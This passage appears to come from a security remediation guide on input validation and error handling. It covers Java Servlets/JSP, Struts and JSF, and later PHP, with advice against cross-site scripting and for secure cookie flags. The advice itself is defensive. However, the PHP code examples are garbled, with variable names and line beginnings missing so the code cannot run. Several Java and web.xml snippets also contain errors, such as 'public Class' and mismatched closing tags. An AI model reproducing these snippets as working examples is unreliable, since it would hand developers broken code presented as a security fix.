(b) JSP Error Mechanism

[2-a] Servlet Error Mechanism
A Servlet may report errors by:
- forwarding to the input JSP (having already stored the errors in a request attribute), OR
- calling response.sendError with an HTTP error code argument, OR
- throwing an exception

It is good practice to process all known application errors (as described in section [1]), store them in a request attribute, and forward to the input JSP. The input JSP should display the error messages and prompt the user to re-enter the data. The following example illustrates how to forward to an input JSP (userInput.jsp):

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

If the Servlet cannot forward to a known JSP page, the second option is to report an error using the response.sendError method with HttpServletResponse.SC_INTERNAL_SERVER_ERROR (status code 500) as argument. Refer to the javadoc of javax.servlet.http.HttpServletResponse for more details on the various HTTP status codes.

Example to return a HTTP error:

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                           messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

As a last resort, Servlets can throw an exception, which must be a subclass of one of the following classes:
- RuntimeException
- ServletException
- IOException

[2-b] JSP Error Mechanism
JSP pages provide a mechanism to handle runtime exceptions by defining an errorPage directive as shown in the following example:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

Uncaught JSP exceptions are forwarded to the specified errorPage, and the original exception is set in a request parameter called javax.servlet.jsp.jspException. The error page must include a isErrorPage directive as shown below:

```
<%@ page isErrorPage="true" %>
```

The isErrorPage directive causes the "exception" variable to be initialized to the exception object being thrown.

[3] Rendering Errors
The J2SE Internationalization APIs provide utility classes for externalizing application resources and formatting messages including:

(a) Resource Bundles
(b) Message Formatting

[3-a] Resource Bundles
Resource bundles support internationalization by separating localized data from the source code that uses it. Each resource bundle stores a map of key/value pairs for a specific locale.

It is common to use or extend java.util.PropertyResourceBundle, which stores the content in an external properties file as shown in the following example:

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

Multiple resources can be defined to support different locales (hence the name resource bundle). For example, ErrorMessages_fr.properties can be defined to support the French member of the bundle family. If the resource member of the requested locale does not exist, the default member is used. In the above example, the default resource is ErrorMessages.properties. Depending on the user's locale, the application (JSP or Servlet) retrieves content from the appropriate resource.

[3-b] Message Formatting
The J2SE standard class java.util.MessageFormat provides a generic way to create messages with replacement placeholders. A MessageFormat object contains a pattern string with embedded format specifiers as shown below:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

Here is a more comprehensive example to render error messages using ResourceBundle and MessageFormat:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }
```

```
      // Returns the error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Locale locale) {
          return getErrorMessage(errorKey, null, locale);
      }

      // Returns a formatted error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
          // Get localized ErrorMessageResource
          ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
          // Get localized error message
          String errorMessage = errorMessageResource.getString(errorKey);
          if (args != null) {
              // Format the message using the specified placeholders args
              return MessageFormat.format(errorMessage, args);
          } else {
              return errorMessage;
          }
      }

      // default environment locale
      private Locale defaultLocale = Locale.getDefaultLocale();
  }
  ...
  // Get the user's locale
  Locale userLocale = request.getLocale();
  // Check if there were any validation errors
  Errors errors = (Errors)request.getAttribute("errors");
  if (errors != null && errors.hasErrors()) {
      // iterate through errors and output error messages corresponding to the "user_name"
property
      ArrayList userNameErrors = errors.getErrors("user_name");
      ListIterator iterator = userNameErrors.iterator();
      while (iterator.hasNext()) {
          // Get the next error object
          Error error = (Error)iterator.next();
          String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
          output.write(errorMessage + "\r\n");
      }
  }
```

It is recommended to define a custom JSP tag, e.g. displayErrors, to iterate through and render error messages as shown in the above example.

[4] Error Mapping
Normally, the Servlet Container will return a default error page corresponding to either the response status code or the exception. A mapping between the status code or the exception and a web resource may be specified using custom error pages. It is a good practice to develop static error pages that do not disclose internal error states (by default, most Servlet containers will report internal error messages). This mapping is configured in the Web Deployment Descriptor (web.xml) as specified in the following example:

```
  <!-- Mapping of HTTP error codes and application exceptions to error pages -->
  <error-page>
    <exception-type>UserValidationException</exception-type>
    <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
    <error-code>500</exception-type>
    <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a Java framework that defines the error handling mechanism as described above. Validation rules are configured in an XML file that defines input validation rules for form fields and the corresponding validation error keys. Struts provides internationalization support to build localized applications using resource bundles and message formatting.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
```

```
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

The Struts JSP tag library defines the "errors" tag that conditionally displays a set of accumulated error messages as shown in the following example:

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events, validate input, and support internationalization.

The JavaServer Faces API defines the "output_errors" UIOutput Renderer, which displays error messages for an entire page or error messages associated with a specified client identifier.

Example to validate the userName field of a loginForm using JavaServer Faces:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## Fix Recommendation - PHP

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must always be performed on the server-tier. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement a function or functions that validates each application parameter. The following sections describe some example checking.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
  // PHP example to validate required fields
input) {
      ...
ass = false;
input))>0){
ass = true;
      }
ass;
      ...
  }
  ...
fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type.

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

[6] Field pattern
Always check that user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]+$

[7] Cookie value
The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

[8] HTTP Response

[8-1] Filter user input
To guard the application against cross-site scripting, the developer should sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

PHP includes some automatic sanitization utility functions, such as htmlentities():

```
$input = htmlentities($input, ENT QUOTES, 'UTF-8');
```

In addition, in order to avoid UTF-7 variants of Cross-site Scripting, you should explicitly define the Content-Type header of the response, for example:

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Secure the cookie

When storing sensitive data in a cookie and transporting it over SSL, make sure that you first set the secure flag of the cookie in the HTTP response. This will instruct the browser to only use that cookie over SSL connections.

You can use the following code example, for securing the cookie:

```
  <$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
  ?>
```

In addition, we recommend that you use the HttpOnly flag. When the HttpOnly flag is set to TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).

The HttpOnly flag was Added in PHP 5.2.0.

REFERENCES

[1] Mitigating Cross-site Scripting With HTTP-only Cookies:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP Security Consortium:
http://phpsec.org/
[3] PHP & Web Application Security Blog (Chris Shiflett):
http://shiflett.org/

## References and Relevant Links

An example for using apostrophe to hack a site can be found in "How I hacked PacketStorm (by Rain Forest Puppy), RFP's site"
"Web Application Disassembly with ODBC Error Messages" (By David Litchfield)
CERT Advisory (CA-1997-25): Sanitizing user-supplied data in CGI scripts